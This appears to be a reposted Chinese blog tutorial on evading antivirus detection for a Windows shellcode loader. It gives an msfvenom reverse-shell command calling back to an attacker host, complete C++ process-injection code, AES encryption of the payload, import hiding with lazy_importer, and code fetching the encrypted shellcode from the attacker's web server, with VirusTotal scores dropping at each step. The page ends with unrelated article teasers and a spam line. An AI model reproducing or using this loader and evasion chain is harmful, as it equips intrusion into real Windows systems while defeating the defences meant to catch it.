<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    免殺筆記之 aes 加 lazy_importer 加 shellcode 分離

    VSole2022-01-14 16:01:33

    0x00 前言

    今天寫一篇靜態免殺的文章。思路來自于:

    https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 
    

    核心是 AES 加密 shellcode + lazy_importer 去符號+shellcode 分離。

    0x01 準備

    vs2019 開發

    Kali(攻擊機):192.168.94.141

    win10(受害機):192.168.94.128

    今天用到的工具是:CFF Explorer

    這里會用到進程注入的知識,如果你之前沒有了解過的話,可以去我之前的文章看一下:https://fengwenhua.top/index.php/archives/65/

    先在 kali 上用 msf 生成 shellcode:

    msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.94.141 LPORT=1234-f c -b \x00\x0a\x0d
    

    然后用 nc 開始監聽 1234 端口

    0x02 裸奔

    開局直接進程注入,不多說了

    #define _CRT_SECURE_NO_DEPRECATE
    #include"Windows.h"
    #include"stdio.h"
    int main(int argc,char* argv[])
    {
    unsignedchar buf[]="msf生成的shellcode";
        HANDLE processHandle;
        HANDLE remoteThread;
        PVOID remoteBuffer;
        printf("Injecting to PID: %i", atoi(argv[1]));
        processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
        remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
        remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
    CloseHandle(processHandle);
    return0;
    }
    

    vs 選擇配置和平臺,然后生成解決方案

    比如我們想要注入到 explorer.exe 中,對應的 PID 是 6244,如下:

    過一會,kali就收到了反彈shell了。

    現在我們上傳到 VT 上,看看效果怎么樣,其實想想就知道,肯定慘不忍睹,畢竟是 msf 生成的 shellcode。。肯定早就被扒光了。。

    但我沒想到,還有這么多沒有檢測出來的。。。可能是因為我的程序是x64的?

    其實整個 shellcode 加載代碼里面,無非就兩部分檢測點,一個是 shellcode,還有一個就是一些敏感函數了。

    所以我們可以對這兩部分做一下處理,期望能夠繞過檢測。

    0x03 對 shellcode 進行處理

    分析

    想驗證檢測點是不是在 shellcode 處,很簡單,把 shellcode 清空,然后重新上傳vt

    可以看到,足足少了4個,因此證明 AV 確實會檢測 shellcode。所以下面開始用 AES 加密 shellcode ,期望繞過這些檢測 shellcode 的 AV。

    AES 加解密

    tiny-aes(不可用)

    注意:下面列出的,前面兩個庫都要自己處理 padding 的問題。。。我是后面才發現的。。不過,不影響整體思路。第三個庫我沒有測。。

    對于 c/c++ 來說,AES加解密的開源庫一大堆:

    • SergeyBel/AES
    • kokke/tiny-AES-c
    • kkAyataka/plusaes

    這里為了方便,直接用 kokke/tiny-AES-c 這個庫。打開對應的 Github 倉庫,把下圖的三個文件下載下來,放到我們的 vs 項目上。

    這個庫默認使用 AES128 的,我們可以修改aes.h,讓其使用 AES256

    這個庫的用法也很簡單。首先把頭文件包含進來,#include "aes.hpp",然后加解密方法如下:

    #include"aes.hpp"
    // 提前定義key和iv
    unsignedchar key[]="16的倍數位的key";
    unsignedchar iv[]="16位的偏移量";
    // 聲明這個庫要求的 aes 結構體
    struct AES_ctx ctx;
    // 初始化
    AES_init_ctx_iv(&ctx, key, iv);
    // 加密,加密后的結果存放在“加密的內容”處
    AES_CBC_encrypt_buffer(&ctx,加密的內容,加密的內容大小);
    // 解密,解密后的結果存放在“要解密的內容”處
    AES_CBC_decrypt_buffer(&ctx,要解密的內容,要解密的內容大小);
    

    這里為了方便,直接在相同的項目下操作,但是一個項目不能搞兩個 main 方法,所以,先把原先的給排除了,如下:

    然后直接新建一個encrypt_shellcode.cpp,代碼如下,得到加密后的shellcode:

    #define _CRT_SECURE_NO_DEPRECATE
    #include"Windows.h"
    #include"stdio.h"
    #include"aes.hpp"
    int main(int argc,char* argv[])
    {
    unsignedchar buf[]="msf生成的shellcode";
        SIZE_T bufSize =sizeof(buf);
    unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
    unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
    struct AES_ctx ctx;
        AES_init_ctx_iv(&ctx, key, iv);
        AES_CBC_encrypt_buffer(&ctx, buf, bufSize);
        printf("Encrypted buffer:");
        printf("unsigned char buf[] =");
    int count =0;
    for(int i =0; i < bufSize -1; i++){
    if(count ==0){
                printf("\"");
    }
            printf("\\x%02x", buf[i]);
            count++;
    if(count ==15){
                printf("\"");
                count =0;
    }
    }
        printf("\";");
        system("pause");
    return0;
    }
    

    然后修改原來的cpp,替換原來的shellcode,加入解密方法,如下:

    #define _CRT_SECURE_NO_DEPRECATE
    #include"Windows.h"
    #include"stdio.h"
    #include"aes.hpp"
    int main(int argc,char* argv[])
    {
    unsignedchar buf[]="aes解密后的shellcode";
        HANDLE processHandle;
        HANDLE remoteThread;
        PVOID remoteBuffer;
    // 解密shellcode
        SIZE_T bufSize =sizeof(buf);
    unsignedchar key[]="fengwenhuafengwenhuafengwenhua.";
    unsignedchar iv[]="\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01";
    struct AES_ctx ctx;
        AES_init_ctx_iv(&ctx, key, iv);
        AES_CBC_decrypt_buffer(&ctx, buf, bufSize);
        printf("Injecting to PID: %i", atoi(argv[1]));
        processHandle =OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
        remoteBuffer =VirtualAllocEx(processHandle, NULL,sizeof buf,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(processHandle, remoteBuffer, buf,sizeof buf, NULL);
        remoteThread =CreateRemoteThread(processHandle, NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer, NULL,0, NULL);
    CloseHandle(processHandle);
    return0;
    }
    

    記得encrypt_shellcode.cpp從生成中排除,lazy_importer.cpp,從生成中排除選“否”

    然后重新生成解決方案,kali重新監聽 1234,執行如下:

    ok,成功執行。上傳到 vt 看看效果:

    可以看到,對比裸奔的情況,少了一半檢測率。

    但后來我發現,并不是每次都能成功,然后我就開始瘋狂的排查,最后發現,同樣的內容,加密后解密,和之前不一樣!!!!然后我開始瘋狂的對比加解密后的內容。

    后經過一段時間的查找,終于發現,這玩意要自己寫 padding。。。因為msf生成的shellcode不一定是16的整數倍,所以就導致加解密的時候出問題了。。。

    https://captmeelo.com/redteam/maldev/2021/12/15/lazy-maldev.html 這個作者里面的msf生成的shellcode 剛剛好是16的整數倍,這你敢信???

    這個庫不行,于是我又嘗試了 SergeyBel/AES 這個庫。又嘗試了半天,還是padding的問題。

    別人實現的AES

    最后,沒錯,我懶得自己寫 padding,于是百度,直接嫖別人的用:

    https://blog.csdn.net/witto_sdy/article/details/83375999
    


    按照博客里面的,在 vs 中新建好文件就行

    在丟到lazy_importer.cpp中運行之前,我先新建了一個encrypt_shellcode.cpp,在里面對 shellcode 進行 aes 加密

    運行得到結果加密后的 shellcode 之后,然后丟到lazy_importer.cpp中解密就行,如下:

    后面的操作就和上一小節相同,這里不再講了。

    0x04 對敏感函數進行處理

    分析

    此時,我們用 CFF Explorer 打開我們 aes 加密 shellcode 的程序,可以看到 IAT 那里,調用了一堆的敏感函數(OpenProcessVirtualAllocExWriteProcessMemoryCreateRemoteThread and CloseHandle),這些肯定是 AV 必定檢查的地方。

    所以我們的應對辦法就是,要么換別的同樣效果的函數,要么就想辦法把這些調用痕跡清除掉。

    lazy_importer

    這里用到的就是開源庫 JustasMasiulis/lazy_importer ,同樣地,下載下來,導入vs項目

    用法也是超級簡單,先 include 進來,然后把原來函數改成LI_FN(原來函數)就行,修改如下:

    需要把所有的NULL改成nullptr
    #define _CRT_SECURE_NO_DEPRECATE
    #include"Windows.h"
    #include"stdio.h"
    #include"lazy_importer.hpp"
    #define BUF_SIZE 4096
    #include
    #include"AES.h"
    #include"Base64.h"
    usingnamespace std;
    constchar g_key[17]="asdfwetyhjuytrfd";
    constchar g_iv[17]="gfdertfghjkuyrtg";//ECB MODE不需要關心chain,可以填空
    string EncryptionAES(const string& strSrc)//AES加密
    {
    size_t length = strSrc.length();
    int block_num = length / BLOCK_SIZE +1;
    //明文
    char* szDataIn =newchar[block_num * BLOCK_SIZE +1];
        memset(szDataIn,0x00, block_num * BLOCK_SIZE +1);
        strcpy(szDataIn, strSrc.c_str());
    //進行PKCS7Padding填充。
    int k = length % BLOCK_SIZE;
    int j = length / BLOCK_SIZE;
    int padding = BLOCK_SIZE - k;
    for(int i =0; i < padding; i++)
    {
            szDataIn[j * BLOCK_SIZE + k + i]= padding;
    }
        szDataIn[block_num * BLOCK_SIZE]='\0';
    //加密后的密文
    char* szDataOut =newchar[block_num * BLOCK_SIZE +1];
        memset(szDataOut,0, block_num * BLOCK_SIZE +1);
    //進行進行AES的CBC模式加密
        AES aes;
        aes.MakeKey(g_key, g_iv,16,16);
        aes.Encrypt(szDataIn, szDataOut, block_num * BLOCK_SIZE, AES::CBC);
        string str = base64_encode((unsignedchar*)szDataOut,
            block_num * BLOCK_SIZE);
    delete[] szDataIn;
    delete[] szDataOut;
    return str;
    }
    string DecryptionAES(const string& strSrc)//AES解密
    {
        string strData = base64_decode(strSrc);
    size_t length = strData.length();
    //密文
    char* szDataIn =newchar[length +1];
        memcpy(szDataIn, strData.c_str(), length +1);
    //明文
    char* szDataOut =newchar[length +1];
        memcpy(szDataOut, strData.c_str(), length +1);
    //進行AES的CBC模式解密
        AES aes;
        aes.MakeKey(g_key, g_iv,16,16);
        aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);
    //去PKCS7Padding填充
    if(0x00< szDataOut[length -1]<=0x16)
    {
    int tmp = szDataOut[length -1];
    for(int i = length -1; i >= length - tmp; i--)
    {
    if(szDataOut[i]!= tmp)
    {
                    memset(szDataOut,0, length);
                    cout <<"去填充失敗!解密出錯!!"<< endl;
    break;
    }
    else
                    szDataOut[i]=0;
    }
    }
        string strDest(szDataOut);
    delete[] szDataIn;
    delete[] szDataOut;
    return strDest;
    }
    int main(int argc,char* argv[])
    {
    // 加密后的shellcode
    char buf[BUF_SIZE]="I8mLz2JN2G9JVrrDFi7LtccqhCU7uccBqZwB4PvkF7N+5iCaKiJR+LYI391ZFJS6ieyEDFLCaEnV6A0zq+P1uyW6HKEEaF4E9FRztJuTLhiukABcgx0z0b9IeGWPLjRS+QywJoEpMZJtJwIDCiF+NRme/Y56ZUZtR2VKf2ZbjndrGmtVlNlWgG1+3noUS+fOqeW+EzflCLQl+ysXmBsaFXunsxpQGiYt2D6nuZ6ZWitp2HnGo/XdpKyOp6EXV5DczC5MOJQWDrog2nATb3uEibBV17OIldHyfTnAENOFMnI0H3L/Rg8oaBKC/Ab0ZVWtlerqfNwxeozb81c6KMfnFsEzxX2Bx1ZYU4LCJfkkAmDfZzDYuko/h7fbuf+9tnjOhsIF3v7Vlf0YVfkb4Spzrg/Ze9BqGU0He9aUpStXvJhTDuQQAOlXxexkK5Ve50T15fGh3VjfairouotBjLPvrRJI7pP821ZAxFJO2mZGwNDJrM8Bhw9+7Ia+bz9V6mMwKmnHwZixT1HKrYnPx68kVWrgWIE3bTUfYYl4RHSerCLT0fBTK+fQg8QEDnMDZJEkR/lbtg7dy4Mxvdo5Bct6dQsg8NymqQRZ2QAM8MgzbxbeozLYKx+s1n5pmxnVY9btuOFWXfWl5+sP49PnExHb8x4SFU0WamL/ChasjDxyQ7jA2u/ezxhFjKW8AsUGxMF5bdXJnY/I5373nCt+Sl2a6q80CFYzZ7IbipLhtBAwUlbURS5hZ/dXcRI8BXsOhcBhglCjCGA0gjO7W7Cp7Icbet+dhYsrhXq+0R0IkrQ6Q5e/gA9AVP60C8aKxLYyeumedE0M9bcg8w6gDwCGsQ9xMzn97sDuqxR0a5a0OT81Veqqp+HQZ9OBiqusDg6eX/mry32sWdgHGemMS9q4F8GX7yd4amxcnfBwJn7n+6E96GBTlF6QzRMfsol5QG0oEF/QvNZGYz3L6ALme8YW6/6U6NznUEFj+Fcg/tivRuX83VDWMP4OW2qydM7kIHY/RXWTDO912FdiBdDbIniVE+q/RQL8UY9W+OqcUm2+P91QSlUGY+CEm14JGbbneMxHoIBMUX9EigHNiHldTzhjA2Vzfsh4DpEU164xK8HrXmnoya0wvAt36MBpidTksvOjzUhLynPkarjK+cYtxxSUpTkQFP+g/Umfx0k7wWp1EIemssWBx51TiOKvZUFxS36q0tddR4CxFIZ1yTYGswyHnj6ffhoGtCpG1/RVy2Hw22Abl0YoeEzG3QM5TyknLGILspCb+zULv/jgGVmK17CBq00dNcHiT1s79l3ek893nzoif4EdBpEqayyczbbuymPfq2Bx";
    // 解密shellcode
        string strbuf =DecryptionAES(buf);
    //cout << "解密后shellcode:" << strbuf << endl;
    char buff[BUF_SIZE]={0};
    for(int i =0; i < strbuf.length(); i++){
            buff[i]= strbuf[i];
    }
    // shellcode 處理,兩個兩個一起,還原成 \x00 的樣子
    char* p = buff;
    unsignedchar* shellcode =(unsignedchar*)calloc(strlen(buff)/2,sizeof(unsignedchar));
    for(size_t i =0; i < strlen(buff)/2; i++){
            sscanf(p,"%2hhx",&shellcode[i]);
            p +=2;
    }
        HANDLE processHandle;
        HANDLE remoteThread;
        PVOID remoteBuffer;
        SIZE_T bufSize = strlen(buff)/2;
    //printf("Decrypted buffer:");
    //for (int i = 0; i < bufSize; i++) {
    //  printf("\\x%02x", shellcode[i]);
    //}
        printf("Injecting to PID: %i", atoi(argv[1]));
        processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
    //processHandle = LI_FN(OpenProcess)(PROCESS_ALL_ACCESS, FALSE, DWORD(2052));
        remoteBuffer = LI_FN(VirtualAllocEx)(processHandle,nullptr, bufSize,(MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
        LI_FN(WriteProcessMemory)(processHandle, remoteBuffer, shellcode, bufSize,nullptr);
        remoteThread = LI_FN(CreateRemoteThread)(processHandle,nullptr,0,(LPTHREAD_START_ROUTINE)remoteBuffer,nullptr,0,nullptr);
        LI_FN(CloseHandle)(processHandle);
    return0;
    }
    

    可以正常上線:

    再用CFF Explorer 看一下,發現已經看不到了。

    丟給 vt ,不錯,又少了1個

    syscall

    除了用 lazy_importer ,還可以看看 syscall,本來想寫(shui)一篇 syscall 的文章,但是發現有師傅已經寫得很好了:

    http://ryze-t.com/posts/2021/12/01/%E6%B5%85%E8%B0%88-Syscall.html 
    

    所以這里就不獻丑了。有興趣的小伙伴可以自己去看看,改改,我這里就不搞了。

    0x05 分離shellcode

    在前文中,我們對 shellcode 進行了 AES256 的加密,又使用 lazy_importer 清除了敏感函數調用的痕跡。現在 vt 還有5個報毒,所以這小節,我們再嘗試一下 分離 shellcode ,看看能不能再降低 vt 檢測率。

    這里直接嫖 

    https://blog.csdn.net/lgh1700/article/details/7713516
    

    中讀取網絡 url 文件內容的代碼,當然,要簡單修改一下

    #include
    #include
    #pragma comment(lib,"wininet.lib")
    #define BUF_SIZE 1024
    LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff);
    LPSTR GetInterNetURLText(LPSTR lpcInterNetURL,unsignedchar* buff)
    {   
        HINTERNET hSession;   
        LPSTR lpResult = NULL;
    // 這里把 "WinInet" 改成 _T("WinInet")
        hSession =InternetOpen(_T("WinInet"), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL,0);   
        __try
    {       
    if(hSession != NULL)        
    {          
               HINTERNET hRequest;            
               hRequest =InternetOpenUrlA(hSession,lpcInterNetURL, NULL,0, INTERNET_FLAG_RELOAD,0);        
               __try
    {                
    if(hRequest != NULL)        
    {           
                      DWORD dwBytesRead;                  
    char szBuffer[BUF_SIZE]={0};
    if(InternetReadFile(hRequest, szBuffer, BUF_SIZE,&dwBytesRead))           
    {                 
    RtlMoveMemory(buff, szBuffer, BUF_SIZE);   
    return0;              
    }               
    }           
    }__finally
    {              
    InternetCloseHandle(hRequest);  
    }       
    }   
    }__finally
    {       
    InternetCloseHandle(hSession);  
    }   
    return lpResult;
    }
    

    調用如下:

    //遠程獲取加密shellcode
    char buf[BUF_SIZE]={0};
    char url[MAX_PATH]="http://192.168.94.141:8000/buf.txt";
    GetInterNetURLText(url, buf);
    

    kali 機器開啟一個web服務,然后運行代碼:

    同理,丟到vt上,不錯,又少了兩個。

    0x06 后言

    其實思路還有很多的,比如我一般用HeapAlloc代替VirtualAlloc,如果target不是某數字殺軟,我還有加vmp殼等等。由于篇幅原因,以后有機會我們慢慢聊。

    至此,本次分享到此結束。分享中用到的代碼,我已經上傳 github:

    char函數aes
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    CPU性能嚴重溢出,可能就是這些廠商的想法吧,反正不用白不用,這些算力也不是自己的。?有圖有真相 Unidbg的殺手锏 CPU指令級別Traceps:Unidbg跟010Editor更配哦!今天就來帶大家以自身使用的經驗去了解一下Unidbg!?當然Unidbg能做的遠遠不止這些,本文并不是一篇科普文,所以本文假定讀者都是有一定基礎的同學。
    由此可以推測,之前找到的main.node,可能就是解密模塊。此時找到了AES的算法常量,前兩個是重復的,可能是插件問題。只能去問度娘了,搜索一下AES加密解密原理與 C 實現代碼。
    寫這個是因為考慮到在滲透過程中,對目標機器上的第三方軟件的信息收集很大程度決定后續能不能橫向移動,內網密碼搜集的越多,橫向滲透也就越方便,這里將列舉常見的軟件,遠程控制,瀏覽器,常見數據庫相關軟件和系統的憑證獲取方式。 而有時候因為環境特別嚴苛,在線解密的工具用不了的時候離線就顯得特別重要,做個記錄,也當了解一下各個軟件之間不同的認證方法,可能有些許理解錯誤,看官們輕錘。
    之后想到了更完美的辦法
    一篇靜態免殺的文章
    AESNI是Intel開發的一種x64架構的SIMD指令集,專門為AES加密算法提供硬件加速,對SIMD有一定了解的人基本都知道AESNI的存在。但由于AES本身的不對稱結構,以及AESNI的特殊設計,在實際使用AESNI時,還是有很多細節和理論知識需要了解,才能寫出正確的代碼。以N1CTF 2021中的easyRE為例,總結了一下自己對AESNI的理解,若有不對的地方敬請指正。
    而iOS呢肯定是iPhone了,但是如何選系統如何自己越獄呢?比如手機越獄后,發現開不開機無法進入主界面,有可能是注入的插件有問題。然后進入frida-ios-dump腳本的目錄直接執行./dump 包名。
    殺軟EDR對抗-脫鉤
    2023-06-05 09:21:55
    一般的殺毒軟件會在我們進程啟動的時候注入DLL到進程中,然后對系統函數進行Hook(掛鉤).從而攔截我們進程的執行流程,當然這個流程只針對于未被添加到白名單的程序.我們來看下效果圖.
    之前我說Codemeter的反調試很猛,我收回。Scylla Hide調至VMP檔,運行后將爆出的幾個錯誤全部Pass to the Application && Do not suspend or log即可。根據前面的分析,我們知道了Codemeter私有協議中最終要的兩個函數就是encrypt_telegram和decrypt_telegram。服務器接受到客戶端的請求那就必定調用decrypt_telegram解密,向客戶端回復數據必定通過encrypt_telegram解密。因此我們第一步就需要確定這兩個函數。先對decrypt_telegram下斷,跑起來看看誰調用她。查看decrypt_package和encrypt_package的交叉引用,有一個函數同時引用這兩個函數
    本文主要以拋出問題的方式,努力尋找在實際調試過程中遇到問題的真實答案,最后結合前輩們總結的知識點也用實踐檢驗了知識點,特此記錄。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类